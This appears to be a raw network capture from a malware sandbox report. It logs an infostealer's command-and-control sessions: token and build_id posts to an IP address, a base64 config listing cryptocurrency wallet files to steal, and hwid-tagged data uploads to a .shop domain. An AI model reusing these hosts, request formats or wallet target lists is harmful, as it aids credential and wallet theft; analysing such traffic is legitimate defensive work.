2024-05-24 07:43:51 UTC	1369	IN	Data Raw: 53 75 34 53 58 49 62 43 53 4a 64 73 50 46 56 33 4f 56 35 6c 46 49 52 69 67 69 4f 65 52 75 53 67 39 2b 4a 45 39 61 62 51 33 72 57 72 53 75 53 61 39 2f 53 75 45 65 6a 4d 31 55 4f 34 33 71 65 53 38 6b 62 69 4d 6b 71 44 63 4f 52 31 34 37 51 46 56 74 53 34 41 2b 72 2b 55 67 79 32 49 75 68 48 2f 4e 79 31 52 77 32 71 4d 38 59 32 4d 41 54 6b 72 6b 4d 52 41 50 41 33 45 45 5a 57 68 62 6c 43 47 6e 6f 45 6d 76 65 57 7a 69 48 74 57 69 4d 78 43 56 72 7a 56 6a 64 53 70 6c 49 4c 59 38 41 6b 46 65 50 45 46 58 5a 45 71 4f 4e 36 66 71 4b 4d 78 67 4c 59 4e 6e 7a 38 5a 57 66 4e 75 6b 4e 79 34 6e 61 79 68 68 36 6c 35 6a 4a 42 73 30 58 42 51 7a 44 38 4d 64 72 4f 30 50 7a 32 6f 6c 79 68 32 6e 31 52 59 54 76 72 46 52 53 45 59 6f 49 69 33 6b 62 6b 6f 50 56 7a 6c 49 58 57 74 45 68 Data Ascii: Su4SXIbCSJdsPFV3OV5lFIRigiOeRuSg9+JE9abQ3rWrSuSa9/SuEejM1UO43qeS8kbiMkqDcOR147QFVtS4A+r+Ugy2IuhH/Ny1Rw2qM8Y2MATkrkMRAPA3EEZWhblCGnoEmveWziHtWiMxCVrzVjdSplILY8AkFePEFXZEqON6fqKMxgLYNnz8ZWfNukNy4nayhh6l5jJBs0XBQzD8MdrO0Pz2olyh2n1RYTvrFRSEYoIi3kbkoPVzlIXWtEh
2024-05-24 07:43:51 UTC	1369	IN	Data Raw: 70 79 32 6b 77 69 33 72 46 7a 56 4e 32 32 71 59 38 4c 54 39 76 4c 69 71 73 50 77 5a 4a 47 33 30 73 50 77 41 4e 68 43 6e 72 75 47 4f 45 55 43 47 45 66 74 33 46 57 33 65 56 77 46 49 38 59 77 42 4f 4f 4d 78 64 59 77 39 63 50 77 51 4d 4b 51 32 50 50 36 76 76 4c 63 68 74 4b 6f 74 35 77 73 31 64 63 74 32 67 4b 79 49 70 59 43 51 76 71 7a 63 4d 53 6c 34 33 51 31 42 74 51 73 4e 2f 77 34 74 4b 68 47 45 36 79 69 32 4f 69 6e 64 38 77 49 6b 44 59 30 55 44 4f 6d 2f 4d 58 52 45 6e 4d 46 67 45 55 32 63 4e 32 33 50 72 36 69 72 41 5a 53 61 50 65 73 33 4c 58 6d 6e 53 6f 53 73 74 49 47 63 74 4b 61 30 33 44 45 70 57 4e 55 68 65 61 6b 71 4e 50 36 4f 67 62 36 77 4e 53 63 70 79 31 49 6f 41 4f 5a 57 4a 4b 54 67 2f 66 69 67 41 71 54 6c 49 4a 7a 41 73 43 6a 77 41 56 4f 74 61 77 4b Data Ascii: py2kwi3rFzVN22qY8LT9vLiqsPwZJG30sPwANhCnruGOEUCGEft3FW3eVwFI8YwBOOMxdYw9cPwQMKQ2PP6vvLchtKot5ws1dct2gKyIpYCQvqzcMSl43Q1BtQsN/w4tKhGE6yi2Oind8wIkDY0UDOm/MXREnMFgEU2cN23Pr6irAZSaPes3LXmnSoSstIGctKa03DEpWNUheakqNP6Ogb6wNScpy1IoAOZWJKTg/figAqTlIJzAsCjwAVOtawK
2024-05-24 07:43:51 UTC	1369	IN	Data Raw: 4a 6f 4e 31 79 4d 42 56 66 4e 57 74 4e 43 59 70 5a 69 45 6d 70 44 6f 48 53 46 4d 38 51 46 52 6b 44 63 31 5a 77 49 74 68 77 33 35 69 30 6a 65 4d 36 6c 4e 74 39 4b 59 79 4d 57 30 41 54 6a 37 71 58 6d 4e 57 4d 31 67 76 46 47 78 42 77 32 6e 70 6f 43 2f 4e 5a 79 71 45 65 63 54 4f 53 6e 76 65 6f 54 59 69 49 6d 67 6d 49 4b 34 2b 47 6b 6c 62 4f 45 78 54 59 30 6d 4e 49 36 72 76 59 59 6f 4f 53 65 45 31 79 39 49 59 49 35 66 6f 43 44 55 71 62 79 70 6a 6a 54 45 54 54 6c 45 77 54 31 67 72 4a 65 67 75 35 59 68 4b 33 51 35 4a 34 54 58 4c 78 68 67 6a 6c 2b 67 30 4c 79 42 73 4e 79 32 6b 4e 67 46 49 55 53 46 4c 57 32 5a 4f 67 7a 53 35 34 54 50 4c 62 53 65 4a 63 63 50 46 56 48 50 66 36 48 64 4c 52 67 4e 6c 4a 72 78 32 55 41 30 62 48 30 64 46 59 51 2b 6b 4b 37 33 6e 4c 64 56 Data Ascii: JoN1yMBVfNWtNCYpZiEmpDoHSFM8QFRkDc1ZwIthw35i0jeM6lNt9KYyMW0ATj7qXmNWM1gvFGxBw2npoC/NZyqEecTOSnveoTYiImgmIK4+GklbOExTY0mNI6rvYYoOSeE1y9IYI5foCDUqbypjjTETTlEwT1grJegu5YhK3Q5J4TXLxhgjl+g0LyBsNy2kNgFIUSFLW2ZOgzS54TPLbSeJccPFVHPf6HdLRgNlJrx2UA0bH0dFYQ+kK73nLdV
2024-05-24 07:43:51 UTC	1369	IN	Data Raw: 59 36 4b 65 32 7a 44 6f 69 4a 6a 52 51 4d 36 62 38 78 64 45 53 63 77 57 41 52 54 5a 77 33 62 63 2b 76 74 4a 73 70 75 4a 49 52 7a 33 73 5a 58 66 64 57 70 4d 79 34 68 59 79 49 76 72 7a 41 4e 51 6c 73 31 51 6c 42 76 53 59 30 79 36 36 35 4a 72 77 31 69 6a 57 32 4d 6b 68 6f 37 38 6f 55 49 59 51 35 2f 4d 79 75 6a 4f 68 35 45 57 6a 42 53 57 58 73 4e 36 31 71 30 72 6b 6d 76 66 30 72 68 48 6f 7a 4e 56 44 75 4e 36 6e 6b 6f 49 32 30 6b 4c 61 34 78 42 6c 31 61 4f 55 68 56 62 45 71 49 49 36 44 79 4b 73 78 6c 4c 49 4a 38 7a 4d 52 59 65 74 69 6f 65 57 31 46 41 30 35 68 6f 79 35 49 46 78 6c 7a 59 58 64 38 57 34 6c 7a 69 50 63 33 7a 6d 45 75 6e 48 37 4e 79 55 35 32 78 65 68 52 53 44 49 6d 54 55 71 39 58 6d 4d 6b 47 7a 52 49 46 44 4d 50 77 7a 71 6b 37 69 7a 50 59 69 75 50 Data Ascii: Y6Ke2zDoiJjRQM6b8xdEScwWARTZw3bc+vtJspuJIRz3sZXfdWpMy4hYyIvrzANQls1QlBvSY0y665Jrw1ijW2Mkho78oUIYQ5/MyujOh5EWjBSWXsN61q0rkmvf0rhHozNVDuN6nkoI20kLa4xBl1aOUhVbEqII6DyKsxlLIJ8zMRYetioeW1FA05hoy5IFxlzYXd8W4lziPc3zmEunH7NyU52xehRSDImTUq9XmMkGzRIFDMPwzqk7izPYiuP
2024-05-24 07:43:51 UTC	1369	IN	Data Raw: 4d 37 30 62 6c 35 65 32 38 34 64 33 72 78 5a 56 38 66 43 56 73 76 53 79 55 6c 36 43 6a 44 69 30 71 45 63 47 4c 53 4e 35 36 45 4d 42 43 2b 36 43 74 6a 64 53 70 6c 5a 71 6f 37 43 55 78 56 4d 46 5a 47 62 55 36 56 4d 75 7a 65 48 2b 56 72 4b 59 5a 34 77 38 46 6d 52 66 53 6c 4d 69 38 67 5a 79 34 66 6d 69 4d 4c 51 56 55 30 55 6b 55 72 41 2b 74 61 77 4b 41 75 68 44 35 67 73 7a 57 45 69 6d 63 31 76 63 4e 53 59 7a 55 6f 66 57 50 6b 41 77 74 42 56 54 52 53 52 53 5a 73 6a 6a 71 6e 37 53 37 50 4a 6d 7a 69 48 71 65 4b 58 6a 75 4e 36 6d 6c 74 52 51 4e 4f 59 61 41 6e 53 42 63 5a 59 78 59 50 50 68 37 55 59 66 6d 49 53 74 73 6f 53 75 46 73 70 4b 45 7a 4f 38 50 6f 59 57 46 2f 4a 6b 31 4b 7a 33 59 61 44 77 4e 78 42 42 4e 6f 58 35 45 33 71 50 59 69 67 31 67 63 71 57 4c 61 77 Data Ascii: M70bl5e284d3rxZV8fCVsvSyUl6CjDi0qEcGLSN56EMBC+6CtjdSplZqo7CUxVMFZGbU6VMuzeH+VrKYZ4w8FmRfSlMi8gZy4fmiMLQVU0UkUrA+tawKAuhD5gszWEimc1vcNSYzUofWPkAwtBVTRSRSZsjjqn7S7PJmziHqeKXjuN6mltRQNOYaAnSBcZYxYPPh7UYfmIStsoSuFspKEzO8PoYWF/Jk1Kz3YaDwNxBBNoX5E3qPYig1gcqWLaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	50045	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:51 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:51 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------IIDAAFBGDBKJJJKFIIIJCont
2024-05-24 07:43:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:52 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.4	50049	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:52 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:43:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:52 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:43:52 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hpt9snvnppp4kaspdk6gjonr4d; expires=Tue, 17-Sep-2024 01:30:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=js48n%2FSMeocgl%2BxK4ojBme%2Bz0cXewaBQdnIDh9%2BhvimbEF9fUAGdDA6mz2KWzXRK0K4Sitr3D6fVZ1%2Bg5kHOFnEWu3F%2FAOGyWVBmvjGSzAo2nMWb8VBMtbDgct8QAzJp60gYwVixKJnaNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba840df5c8cda-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	50051	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:53 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:53 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------DAAFIIJDAAAAKFHIDAAACont
2024-05-24 07:43:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.4	50052	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:53 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:43:53 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:53 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vk4lhejeki345fr95j05ah8i6s; expires=Tue, 17-Sep-2024 01:30:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DZmVcy207FyAuqt%2FM17D31bLUqTKs2LvVlq8nb5cBmGIi%2FAhnGGbDt6LJf8qJMKpKcxPPkfcQIPbha5r3H5spuvYqrux3MAoLpFybSQzwtoR2cYGt6e6hAoCEesEw0JhUEYn9s2jShpUUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba8479c9c439d-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.4	50054	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:55 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:43:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:55 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:43:56 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=026nntqsfjnlfcghgiv6q5msdt; expires=Tue, 17-Sep-2024 01:30:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bwacl6mDJuoI65Q3JnteeuICKhDlSJg0xrqlTb9v9Jcf505KH1OFkwuvX9vna2EZUpbzxbv8qzyXm1eXYbzaRdeVbz1HRQZSSew5avjcrAnCyFDY0KfdsA30IPLWjk%2B1F3z0zM%2FsjHVcMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba853db7dc32e-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	50053	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:55 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:55 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 Data Ascii: ------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; 